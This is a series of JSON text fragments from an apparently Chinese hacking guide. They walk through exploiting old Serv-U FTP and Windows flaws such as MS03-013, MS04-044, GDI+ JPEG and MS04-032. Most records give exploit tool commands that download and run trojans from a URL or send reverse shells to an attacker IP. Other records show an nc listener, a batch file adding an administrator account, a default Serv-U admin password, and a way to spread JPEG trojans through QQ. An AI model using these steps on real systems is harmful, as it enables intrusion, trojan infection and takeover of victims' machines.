    {"text": "4.5.1 Serv-U FTP 服务器 MDTM 命令远程缓冲区溢出漏洞 1．漏洞描述（引自 http://www.nsfocus.net/） 发布日期：2004-02-26 更新日期：2004-02-27  受影响系统： RhinoSoft Serv-U 5.0 RhinoSoft Serv-U 4.x RhinoSoft Serv-U 3.x RhinoSoft Serv-U 2.x  详细描述： Serv-U 是一个 Windows 平台下使用非常广泛的 FTP 服务器软件。 Serv-U 在处理 MDTM 命令的参数时缺少正确的缓冲区边界检查，远程攻击者可以利用这个 漏洞对 FTP 服务程序进行缓冲区溢出攻击，可能以 FTP 进程权限在系统上执行任意指令。 Serv-U 提供 FTP 命令 MDTM 用于用户更改文件时间，当用户成功登录系统，并发送畸形超 长的时区数据作为命令参数，可触发缓冲区溢出，精心构建参数数据可能以 FTP 进程权限在系统 上执行任意指令。"},
    {"text": "3．漏洞检测 Serv-U FTP 服务器 MDTM 漏洞的存在与否只与 Serv-U 的版本有关，因此对漏洞的检测就转 变为对 Serv-U 服务器软件版本的检测。"},
    {"text": "命令格式：sv.exe <Host> <Port> <User> <Pass> sv.exe <Host> <Port> <User> <Pass> <url> sv.exe <Host> <Port> <User> <Pass> <Your IP> <Your port>  Host：开启服务的主机地址。"},
    {"text": "工具说明：sv.exe <Host> <Port> <User> <Pass>用于溢出后打开远程 FTP 服务器主机上 8111 端口供入侵者连接。 sv.exe <Host> <Port> <User> <Pass> <url>用于溢出后从 URL 指定的地址下载 程序并执行。 sv.exe <Host> <Port> <User> <Pass> <Your IP> <Your port>用于溢出远程主机后，远 程主机反弹连接到 Your IP 指定的主机上的 Your port 端口。"},
    {"text": "利用思路：现在假设已知 192.168.232.128 使用 Serv-U 开启了 FTP 服务，并获得用户名为 sql、 密码为 ssn 的账号，FTP 服务器将这个账号设定为只有 list 权限，即只有列目录权限，如图 4-188 所示。"},
    {"text": "图 4-188 利用漏洞大多数情况都是先检测对方主机是否存在漏洞，这里要检测对方主机上所使用 Serv-U 的版本，如果版本号不高于 5.0，则可利用此漏洞。"},
    {"text": "6．实例二：远程下载木马服务器端 步骤 1 生成网络神偷服务器端并上传到 HTTP 服务器 生成和上传过程略。 本例中网络神偷服务器端命名为 NS.exe，上传后的位置为 http://192.168. 232.129/NS.exe。"},
    {"text": "步骤 3 漏洞溢出 打开 CMD 窗口，找到漏洞利用程序所在的目录，输入“sv.exe 192.168.232.128 21 sql ssn http:// 192.168.232.129/NS.exe” ，如图 4-193 所示。"},
    {"text": "步骤 2 打开监听窗口 打开 CMD 窗口，使用 nc.exe 进行监听，输入“nc –l –p 9999”，这里设定反弹连接端口为 9999， 如图 4-195 所示。 图 4-195 使用 nc.exe 进行监听时所使用的端口不能是已使用的端口，否则会导致监听失败，如使用 135 端口则很可能导致监听失败。"},
    {"text": "步骤 3 漏洞溢出 打开 CMD 窗口，找到漏洞利用程序所在的目录，输入“sv.exe 192.168.232.128 21 sql ssn 192.168.232.1 9999” ，如图 4-196 所示。"},
    {"text": "8．后记说明 成功利用 Serv-U FTP 服务器 MDTM 命令远程缓冲区溢出漏洞，不仅可以远程控制系统，还 会附带有拒绝服务的效果。 这是因为在使用漏洞溢出工具溢出成功的同时会关闭 Serv-U 服务器， 使其他人无法访问 FTP 服务器。 260 第 4 章 基于服务器软件漏洞的入侵 9．安全解决方案 使用高版本的 Serv-U 软件可以解决这个问题，最新版本的 Serv-U 可以到 http://www.serv-u.com/ 下载。 4.5.2 Serv-U 本地权限提升漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2004-02-10  更新日期：2004-02-11  受影响系统： RhinoSoft Serv-U 6.0.2 RhinoSoft Serv-U 6.0.0 RhinoSoft Serv-U 5.1.0.0 RhinoSoft Serv-U 5.0.0.9 RhinoSoft Serv-U 5.0.0.4 RhinoSoft Serv-U 5.0 RhinoSoft Serv-U 4.1.0.3 RhinoSoft Serv-U 4.1.0.11 RhinoSoft Serv-U 4.0.0.4 RhinoSoft Serv-U 4.0.0.0 RhinoSoft Serv-U 3.0.0.20  详细描述 Serv-U 是一个 Windows 平台下使用非常广泛的 FTP 服务器软件。 Serv-U 存在设计问题，本地攻击者可以利用这个漏洞以 System 权限在系统上执行任意命令。 所有 Serv-U 存在默认本地管理员登录密码，该账号只能在本地接口中连接，因此本地攻击者 可以连接 Serv-U 并建立拥有执行权限的 FTP 用户，在这个用户建立后，连接 FTP 服务器并执行 “Site EXEC”命令，程序就会以 System 权限执行。 2．漏洞说明 从漏洞描述中可以发现这个漏洞的利用原理：在本地连接到 Serv-U 的特定端口，以默认本地 管理员密码登录后可以以系统权限执行任意指令。"},
    {"text": "3．漏洞检测 漏洞的检测与 Serv-U FTP 服务器 MDTM 命令远程缓冲区溢出漏洞的检测类似，可以使用 FlashFXP 显示远程主机上运行的 Serv-U 服务器软件的版本，版本号低于 6.0.2 的 Serv-U 服务器软 件都存在此漏洞，如图 4-198 所示。 4．漏洞利用 使用工具：myservu.exe。"},
    {"text": "261 黑客攻防实战详解 图 4-198 5．实例：针对某台主机的权限提升 必要的说明：本实例假设远程主机 192.168.232.129 使用 Serv-U 软件开启了 FTP 服务，同时 没有对默认本地管理员登录密码进行改动；"},
    {"text": "图 4-204 263 黑客攻防实战详解 然后需要口令，默认的口令为#l@$ak#.lk;0@P，如果默认的密码没有更改过，则也可以使用 ok 代替，输入口令后，如图 4-205 所示。"},
    {"text": "4.5.3 常见问题与解答 问：为什么无法重复利用 Serv-U FTP 服务器 MDTM 命令远程缓冲区溢出漏洞？ 答：成功利用了 Serv-U FTP 服务器 MDTM 命令远程缓冲区溢出漏洞后，会关闭远程主机的 Serv-U FTP 服务，因此若远程主机没有利用 Serv-U 重新开启 FTP 服务，则无法再次利用这个漏 洞。 此外，可能存在没有成功入侵远程主机，但关闭了 Serv-U 的服务，在这种情况下也无法重复 利用此漏洞。"},
    {"text": "早期的 Windows 操作系统中存在的漏洞大部分属于本地漏洞，这是因为当时网络的不发达，使 得这些漏洞难以通过网络而被利用，如 Windows 98，这类系统又可以称为计算机器式的操作系统。"},
    {"text": "从 Windows 2000 开始，微软公司逐渐 加强了操作系统中的网络功能，在给使用者带来方便的同时，大量的系统漏洞被曝光，更为可怕 的是相当一部分的漏洞都可以被入侵者利用，进而控制系统。"},
    {"text": "① 本地提权类漏洞：本地提权类漏洞是指入侵者可以用非管理员权限的账号登录远程主机， 为了完全控制远程主机，需要进行权限提升时所利用的漏洞。 ② 用户交互类漏洞：用户交互类漏洞是指入侵者若想成功利用此类漏洞，需要远程主机的使 用者打开并运行指定的漏洞利用文件；"},
    {"text": "5.1 本地提权类漏洞 5.1.1 Microsoft Windows 内核消息处理本地缓冲区溢出漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2003-04-17  更新日期：2003-04-22  受影响系统： Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows NT 4.0 SP6a Microsoft Windows NT 4.0 SP6 Microsoft Windows NT 4.0 SP5 第 5 章 Windows 操作系统漏洞 Microsoft Windows NT 4.0 SP4 Microsoft Windows NT 4.0 SP3 Microsoft Windows NT 4.0 SP2 Microsoft Windows NT 4.0 SP1 Microsoft Windows NT 4.0 Microsoft Windows 2000 SP3 Microsoft Windows 2000 SP2 Microsoft Windows 2000 SP1 Microsoft Windows 2000  详细描述 Windows 内核是操作系统核心部分，提供系统级别服务，如设备和内存管理，分配处理器时 间和管理错误处理。 Windows 内核在处理错误消息给调试器时存在一个缺陷，本地攻击者可以利用这个漏洞在系 统中进行任何操作，如删除数据，增加管理员访问级别账户或重新配置系统。"},
    {"text": "LpcRequestWaitReplyPort() 函数由内核调用，不适当的信任用户进程报告给传递给内核时，没有对其消息的大小进行检查， 利用这个漏洞，攻击者精心构建事件消息可能以“Ring0”级执行任意代码，即对所有系统资源访 问没有任何限制。"},
    {"text": "3．工具介绍 使用工具：ms03-013_exp_for_win2k 工具包，包含 DebugMe.exe 、ey4s.bat 和 xDebug.exe。 使用说明：DebugMe.exe 类似系统文件，供 xDebug.exe 调用。 当一名入侵者以普通用户身份 交互登录到远程系统后，运行 xDebug.exe 进行溢出，当溢出成功后可以以系统权限运行 ey4s.bat 批处理文件。"},
    {"text": "思路：修改 ey4s.bat、以普通用户交互登录、植入溢出工具、提升权限并添加账号、断开连接、 重新登录。 步骤 1 修改 ey4s.bat 编辑 ey4s.bat，清空原有内容，输入如下代码： net user sql1 sql11 /add net localgroup administrators sql1 /add 步骤 2 交互登录 （略）。"},
    {"text": "图 5-3 图 5-4 268 第 5 章 Windows 操作系统漏洞 入侵者在利用 Microsoft Windows 内核消息处理本地缓冲区溢出漏洞提升权限后，建立了 sql1 账号，该账号拥有系统管理员权限。"},
    {"text": "5．安全解决方案  Microsoft Windows 2000 Professional SP3 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=CACAC8C0-81E9-413E-B565-5D7B3257 A733&displaylang=en  Microsoft Windows 2000 Server SP3 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=CACAC8C0-81E9-413E-B565-5D7B3257 A733&displaylang=en  Microsoft Windows 2000 Advanced Server SP3 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=CACAC8C0-81E9-413E-B565-5D7B3257 A733&displaylang=en  Microsoft Windows 2000 Advanced Server SP2 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=CACAC8C0-81E9-413E-B565-5D7B3257 A733&displaylang=en  Microsoft Windows 2000 Professional SP2 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=CACAC8C0-81E9-413E-B565-5D7B3257 A733&displaylang=en  Microsoft Windows 2000 Server SP2 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=CACAC8C0-81E9-413E-B565-5D7B3257 A733&displaylang=en  Microsoft Windows XP Home SP1 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=9F81E615-3DEC-4A4B-826A-4E0FEAB42 323&displaylang=en  Microsoft Windows XP Professional SP1 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=9F81E615-3DEC-4A4B-826A-4E0FEAB42 323&displaylang=en  Microsoft Windows XP 64-bit Edition SP1 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=DBC47904-51C8-475A-9900-3DF363A51 A3A&displaylang=en  Microsoft Windows XP 64-bit Edition 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=DBC47904-51C8-475A-9900-3DF363A51 A3A&displaylang=en  Microsoft Windows XP Professional 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=9F81E615-3DEC-4A4B-826A-4E0FEAB42 323&displaylang=en  Microsoft Windows XP Home 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=9F81E615-3DEC-4A4B-826A-4E0FEAB42 323&displaylang=en  Microsoft Windows NT Enterprise Server 4.0 SP6a 下载地址： 269 黑客攻防实战详解 http://microsoft.com/downloads/details.aspx?FamilyId=C3596ED1-596F-416C-8BE5-91AE65619 A1A&displaylang=en  Microsoft Windows NT Server 4.0 SP6a 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=C3596ED1-596F-416C-8BE5-91AE65619 A1A&displaylang=en  Microsoft Windows NT Workstation 4.0 SP6a 下载地址： http://microsoft.com/downloads/details.aspx?FamilyId=C3596ED1-596F-416C-8BE5-91AE65619 A1A&displaylang=en 5.1.2 Microsoft Windows LPC 本地堆溢出漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2004-12-14  更新日期：2004-12-15  受影响系统： Microsoft Windows XP Microsoft Windows NT 4.0 SP6a Microsoft Windows 2003 Microsoft Windows 2000 SP4 Microsoft Windows 2000 SP3  详细描述： Microsoft Windows LPC 机制实现存在问题，本地攻击者可以利用这个漏洞对 LPC 服务进行基 于堆的溢出，精心构建提交数据可提升特权。"},
    {"text": "未公开化（Native）API 用于连接 LPC 端口的是 NtConnectPort， NtConnectPort API 的一个参数允许一个 260 字节的缓冲区，当调用这个函数时内核拷贝客户进程 数据到服务进程设置的缓冲区时忽略了缓冲区大小的限制 ，可导致一个基于堆的缓冲区溢出，精 心构建提交数据可能以进程权限执行任意指令，提升特权。"},
    {"text": "工具说明：使用 Cesar Cerrudo 编写的攻击测试代码，编译后生成的文件，当本地用户以较低 权限登录到系统时，使用 MS04-044 可以提升权限并以系统权限运行一个记事本文件。"},
    {"text": "可以通过网络找到 Cesar Cerrudo 编写的源代码程序，仔细阅读代码会发现其中含有这样的语句： strcat(file3,infoBuf); strcat(file3,\"\\\\C$\\\\winnt\\\\system32\\\\notepad.exe\"); 将其改为： strcat(file3,infoBuf); strcat(file3,\"\\\\C$\\\\winnt\\\\system32\\\\cmd.exe\"); 使用 Visual C 重新编译生成 MS04-044.exe。"},
    {"text": "4．安全解决方案  Microsoft Windows NT Server 4.0 Service Pack 6a 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=325EAA8F-AF09-4839-B9E8-BB218 C7A8564 271 黑客攻防实战详解  Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=9823A61F-C69F-403A-BD6A-EF398 4BFA2B8  Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=EFDEA122-DDA4-40B8-A7AF-9DD CC3870C38  Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=27115D5C-3E4A-4F41-B81E-376AA 1CD204F  Microsoft Windows XP 64-Bit Edition Service Pack 1 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=1649AE1E-0ABF-4D31-BE12-3982C 5146AE8  Microsoft Windows XP 64-Bit Edition Version 2003 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=95849AB9-36BF-4A90-BC37-3B4FB 6DCDF9A  Microsoft Windows Server 2003 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=AACB97CB-E8F0-461F-B2D2-F106 5229B64E  Microsoft Windows Server 2003 64-Bit Edition 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=95849AB9-36BF-4A90-BC37-3B4FB 6DCDF9A 5.1.3 Microsoft OLE 和 COM 远程缓冲区溢出漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2005-02-08  更新日期：2005-02-25  受影响系统： Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows NT 4.0 SP6a Microsoft Windows Me Microsoft Windows 98se Microsoft Windows 98 Microsoft Windows 2003 Microsoft Windows 2000 SP4 Microsoft Windows 2000 SP3  详细描述： Microsoft COM 提供多个对象存储在一个文档中；"},
    {"text": "272 第 5 章 Windows 操作系统漏洞 Microsoft COM 和 OLE 存在安全问题，本地或远程攻击者可以利用这个漏洞提升特权及执行 任意指令。 COM 特权提升：当操作系统和程序处理 COM 结构存储文件时，操作系统和程序访问内存存 在一个特权提升问题，登录用户可利用此漏洞完全控制系统。"},
    {"text": "OLE 输入验证错误：OLE 在处理输入验证时存在问题，攻击者可以利用此漏洞构建恶意文档， 诱使用户打开，可导致任意代码以用户进程权限在系统上执行任意指令。"},
    {"text": "在登录到远程系统后，可以使用 TFTP 等工具，将 MBSA 上传到远程主机上，进行漏洞的检 测。 利用 MBSA 进行检测，扫描存在漏洞的主机后显示结果如图 5-8 所示。 图 5-8 3．漏洞利用 使用工具：SSExploit.exe。"},
    {"text": "工具说明：\"Application to uninstall\"表示服务安装文件的位置，一般的默认位置为\" C:\\windows\\ system32\\webfldrs.msi\"（XP）或\" C:\\winnt\\system32\\webfldrs.msi\"（2000） ；"},
    {"text": "漏洞的利用需要交互，即利用已获取的远程主机账号登录到远程系统中，漏洞的扫描可以在 登录到远程主机后进行，因此本例中的漏洞扫描不作为单独的步骤加以说明。"},
    {"text": "本例中，假定已获得局域网主机 192.168.81.130 的一个用户名为 sql、密码为 ssn 的普通用户 权限账号，同时已获知该远程主机使用的是 Windows 2000 SP3 系统。"},
    {"text": "步骤 3 提升权限 找到工具上传后的所在位置，输入 ssexploit \" C:\\winnt\\system32\\webfldrs.msi\" \"net localgroup administrators sql /add\"，执行，如图 5-11 所示。"},
    {"text": "274 第 5 章 Windows 操作系统漏洞 4．安全解决方案  Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=84B4F65E-39D5-4521-B692-051F76 F2492E  Microsoft Windows XP Service Pack 1 and Microsoft Windows XP Service Pack 2 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=A0E59D77-8AC1-4AC0-9572-A7E1 C2E4A66A  Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium) 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=F80EABC3-6D39-4532-9178-796762 6977EE  Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium) 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=2CE98263-2AB4-4FE3-8B0B-5B315 5119730  Microsoft Windows Server 2003 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=83B97ECE-0010-443E-9353-82FFC AF73771  Microsoft Windows Server 2003 for Itanium-based Systems 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=A2C9E842-551C-458E-BF19-1C2BA 9F21A06 5.2 用户交互类漏洞 5.2.1 Microsoft Task Scheduler 远程任意代码执行漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2004-07-13  更新日期：2004-07-15  受影响系统： Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows 2000 SP4 Microsoft Windows 2000 SP3 Microsoft Windows 2000 SP2  详细描述 Microsoft Task Scheduler 用于任务调度。"},
    {"text": "当存在此漏洞的主机 使用 Windows 资源管理器或窗口打开含有 j.job 文件的文件夹时，j.job 会以计划打开文件的形式打 开大量记事本文件，从而瞬间造成系统崩溃。"},
    {"text": "图 5-15 步骤 2 生成 j.job 文件 打开运行窗口，输入 CMD 进入命令行方式，找到 MS04-022.exe 文件所在的目录后输入 ms04-022.exe，运行后将会生成 j.job 文件，如图 5-16 所示。"},
    {"text": "276 第 5 章 Windows 操作系统漏洞 图 5-16 当远程主机打开含有 j.job 的文件夹时，就会触发攻击程序对漏洞进行溢出攻击，如图 5-18 所示。 图 5-17 图 5-18 比较有趣的情况是：如果通过如 QQ 把 j.job 文件传给别人，而对方主机存在 Microsoft Task Scheduler 远程任意代码执行漏洞，接收者又恰好把 j.job 文件放在了桌面上，那么对方主机将会不 停地弹出错误窗口，即 explorer.exe 进入崩溃重启的死循环状态。"},
    {"text": "4．安全解决方案  Microsoft Windows 2000 Service Pack 2, Microsoft Windows 2000 Service Pack 3, Microsoft Windows 2000 Service Pack 4 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=BBF3C8A1-7D72-4CE9-A586-7C83 7B499C08&displaylang=en  Microsoft Windows XP and Microsoft Windows XP Service Pack 1 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=8E8D0A2D-D3B9-4DE8-8B6F-FC27 715BC0CF&displaylang=en  Microsoft Windows XP 64-Bit Edition Service Pack 1 下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=7B4AC0FA-7954-4993-85A1-85298F 122CE0&displaylang=en 5.2.2 Microsoft Windows GDI+ JPG 解析组件缓冲区溢出漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2004-09-14  更新日期：2004-09-20 277 黑客攻防实战详解  受影响系统： Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows 2003  详细描述 Microsoft Windows 图形设备接口（GDI+）是为用户提供在屏幕和打印机上显示信息的 API。"},
    {"text": "GDI+（Gdiplus.dll）在处理畸形的 JPEG 文件时存在缓冲区溢出，远程攻击者可以利用这个漏 洞构建恶意 JPEG 文件，以用户进程权限在系统上执行任意指令。"},
    {"text": "Microsoft 报告 Windows XP、Windows XP Service Pack 1 和 Windows Server 2003 操作系统下 的组件存在此问题，由于兼容性问题，部分第三方应用程序安装了这些受影响的组件，包括 Office XP、Visio 2002、Project 2002、Office 2003、Visio 2003 和 Project 2003。"},
    {"text": "必须注意的是第三方的应用程序，只要安装受此漏洞影响的组件，任何应用程序使用 Gdiplus.dll 处理 JPEG 图像，就会受到此漏洞攻击。 远程攻击者可以通过构建特殊的 JPEG 文件，通过 Web 连接，E-mail 附件等形式，诱使用户 处理，来触发此漏洞。"},
    {"text": "2．漏洞检测 漏洞的检测可以分成两种，第一种是对本机的检测，即查找本机是否带有此节描述的漏洞； 第二种指对远程主机的检测，即查看远程主机是否带有此节中描述的漏洞。 首先是对本机的检测，可以使用 gdiscan_gui.exe 软件进行扫描。"},
    {"text": "① 将此漏洞与木马相结合。 使用专用的漏洞利用工具结合指定木马的服务器端生成一个 JPEG 木马。 通过邮件、网页即使通信工具等手段将 JPEG 木马传播出去，同时打开木马的客户端 等待溢出成功的主机上线。 需要说明的是：如果远程主机的用户没有打开 JPEG 木马图片，则无 法利用此漏洞。 ② 使用专用的工具生成可以触发此漏洞的 JPEG 图片，入侵者在指定的主机上进行监听，等 待存在此漏洞的远程主机溢出后的反弹连接。"},
    {"text": "实例一：与木马结合的利用方式  使用工具：网络神偷、JPEG Downloader。  工具说明 网络神偷是一个优秀的国产远程文件访问工具，这里也可以使用其他的木马软件如灰鸽子等。"},
    {"text": "JPEG Downloader 用来将木马软件生成的服务器端“包装”成一个 JPEG 图片，当在存在 GDI+ JPG 解析组件缓冲区溢出漏洞的远程主机上单击由 JPEG Downloader 生成的图片后，就会触发漏 洞，溢出成功后将自动执行木马软件生成的服务器端。"},
    {"text": "步骤 1 生成木马服务器端 打开网络神偷，第一次打开会要求进行一些基本的设置，如图 5-22 所示。 使用网络神偷需要用到 HTTP 及 FTP 空间，可以到网上提供免费空间的网站申请，也可以自 己架设一个服务器环境来提供。"},
    {"text": "单击“Make”按钮后即会生成一个 JPEG 图片木马，显示如图 5-30。 280 第 5 章 Windows 操作系统漏洞 图 5-28 图 5-29 图 5-30 打开文件夹会发现生成了一个名为 MyPicture.jpg 的文件。"},
    {"text": "首先要打开 QQ 添加一个自定义表情（略）。 在 \\Tencent\\QQ\\*\\image 中可以找到刚刚添加的 QQ 表情图片，其中*代表 QQ 号，将 MyPicture.jpg 改成对应的名称后覆盖源文件，如图 5-31 所示。"},
    {"text": "② 利用 QQ 传播 JPEG 木马的条件是必须保证远程主机用户所使用的 QQ 存在 Microsoft Windows GDI+ JPG 解析组件缓冲区溢出漏洞，而在图 5-33 中所示的情况则无法通过 QQ 触发漏 洞。 只有当远程主机用户通过其他方式打开 JPEG 图片木马时，才有可能出发漏洞。"},
    {"text": "入侵思路：通过溢出工具生成一个 JPEG 图片，发送给远程主机，远程主机溢出后将会反弹 连接到指定 IP 上。 步骤 1 生成图片 打开命令行窗口，找到溢出工具所在的目录，输入“jpeg_exploit.exe -r 219.217.152.42 -p 9133 sql.jpg” ，运行后显示如图 5-34 所示。"},
    {"text": "282 第 5 章 Windows 操作系统漏洞 图 5-35 图 5-36 5．安全解决方案  Microsoft Windows XP and Microsoft Windows XP Service Pack 1，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=6F8D70C1-63BD-4213-82C1-20266F DFD735&displaylang=en  Microsoft Windows XP 64-Bit Edition Service Pack 1，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=1631C3F7-A40E-4B26-BD92-12141 E6A7F58&displaylang=en  Microsoft Windows XP 64-Bit Edition Version 2003，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=98BFF681-9703-4D23-8DF8-B7239 D6C531C&displaylang=en  Microsoft Windows Server2003： http://www.microsoft.com/downloads/details.aspx?FamilyId=B2FBD93C-3DC3-4A9E-BDD6-9F3 9726EE3E2&displaylang=en  Microsoft Windows Server 2003 64-Bit Edition，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=98BFF681-9703-4D23-8DF8-B7239 D6C531C&displaylang=en  Microsoft Office XP Service Pack 3，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=7D128614-6D34-49DF-8D63-6C17E 9A2D312&displaylang=en  Microsoft Office XP Service Pack 2，下载地址： http://download.microsoft.com/download/B/3/4/B349420C-7D50-4DD0-BFF2-249CF2DB43FA/Of ficexp-kb832332-fullfile-enu.exe 5.2.3 Microsoft Windows 图形渲染引擎安全漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2004-10-12 283 黑客攻防实战详解  更新日期：2004-10-14  受影响系统： Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows NT 4.0 SP6a Microsoft Windows Me Microsoft Windows 98SE Microsoft Windows 98 Microsoft Windows 2000 SP4 Microsoft Windows 2000 SP3  详细描述 Microsoft Windows 对 Windows Metafile 和增强 Metafile 图像格式处理存在问题，远程攻击者 可以利用这个漏洞以进程权限在系统上执行任意指令。"},
    {"text": "入侵者通过构造一个包含特殊内容的 WMF 或 EMF 图像，通过网络诱使存在此漏洞的远程主机用户打开这个图像文件，触发漏洞。 3．漏洞利用 利用思路：使用专用的漏洞工具构造一个特殊的 WMF 或 EMF 文件，将这个 WMF 或 EMF 文件发布出去。"},
    {"text": "命令格式：ms04-032.exe <file> <shellcode> <bindport / url>  file 为将要生成的 EMF 文件的文件名  Shellcode 有两个值供使用者选择： 1——端口绑定模式 2——在指定位置下载*.exe 文件（木马的服务器端）  bindport 用于 Shellcode 选择 1 时，用于绑定的端口号  url 为 Shellcode 选择 2 时，*.exe 所在网络位置 工具说明：当选择 Shellcode 值为 1 时，存在此漏洞的远程主机被溢出成功后将打开 port 所指 定的端口供入侵者连接。 当选择 Shellcode 值为 2 时，存在此漏洞的远程主机被溢出成功后将从 url 所指定的位置下载文件并运行。"},
    {"text": "下面就是将这个生成的 EMF 文件传给远程主机并诱使对方打开，如果远程主机存在此漏洞则 有可能溢出成功，远程主机打开 7777 端口等待入侵者的连接。"},
    {"text": "步骤 2 生成 EMF 文件 打开 CMD 窗口，找到溢出工具所在的目录，输入“ms04-032 test.emf 2 http://192.168.116.128/ Nethief_Server.exe” ，如图 5-39 所示。"},
    {"text": "4．安全解决方案  Microsoft Windows NT Server 4.0 Service Pack 6a，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=533AE5CD-74CE-470A-8916-8E358 084497C  Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=3B871A96-5F64-4432-920F-FA5760 DF683A  Microsoft Windows 2000 Service Pack 3 and Microsoft Windows 2000 Service Pack 4，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=4A614222-BA0B-4927-856D-D443B BBE1A42  Microsoft Windows XP and Microsoft Windows XP Service Pack 1，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=715E985B-7929-4BD5-9564-5CFE7 D528398  Microsoft Windows XP 64-Bit Edition Service Pack 1，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=99184841-70A8-47C7-9993-44A60E 999A40  Microsoft Windows XP 64-Bit Edition Version 2003，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=B4E6BBCF-F5B9-4B2D-8BC4-3091 285 黑客攻防实战详解 1CA4FD9C  Microsoft Windows Server 2003，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=206E9842-997D-45E4-9252-61F3CE 5EA66C  Microsoft Windows Server 2003 64-Bit Edition，下载地址： http://www.microsoft.com/downloads/details.aspx?FamilyId=B4E6BBCF-F5B9-4B2D-8BC4-3091 1CA4FD9C 5.2.4 Microsoft 压缩文件夹远程任意命令执行漏洞 1．漏洞描述（引自 http://www.nsfocus.net/）  发布日期：2004-10-12  更新日期：2004-10-14  受影响系统： Microsoft Windows XP Professional SP1 Microsoft Windows XP Professional Microsoft Windows XP Home SP1 Microsoft Windows XP Home Microsoft Windows 2003  详细描述 Microsoft Windows 包含对 ZIP 压缩文件夹的支持。"},
    {"text": "Microsoft Windows 处理 ZIP 压缩文件夹的 DUNZIP32.DLL 模块存在缓冲区溢出，远程攻击者 可以利用这个漏洞以登录用户进程权限在系统上执行任意指令。 当 ZIP 文件包含一个超长文件名时（超过 0x8000 字节），在 Windows shell 中打开 ZIP 压缩文 件夹时，会触发缓冲区溢出，允许异常处理被覆盖及 EIP 被劫持。"},
    {"text": "3．利用思路 通过显示 IP 的 QQ 找到远程主机的 IP 地址，使用扫描工具对远程主机进行扫描，确定其系统 286 第 5 章 Windows 操作系统漏洞 类型，如果其类型为受影响的系统，则有可能存在此漏洞。"},
    {"text": "工具说明：执行 zipme.exe 后，生成名为 prueba 的 ZIP 文件，存在 Microsoft 压缩文件夹远程 任意命令执行漏洞的主机执行这个文件触发漏洞后，将会连接到 URL 所指定的地址下载文件并执 行。"},
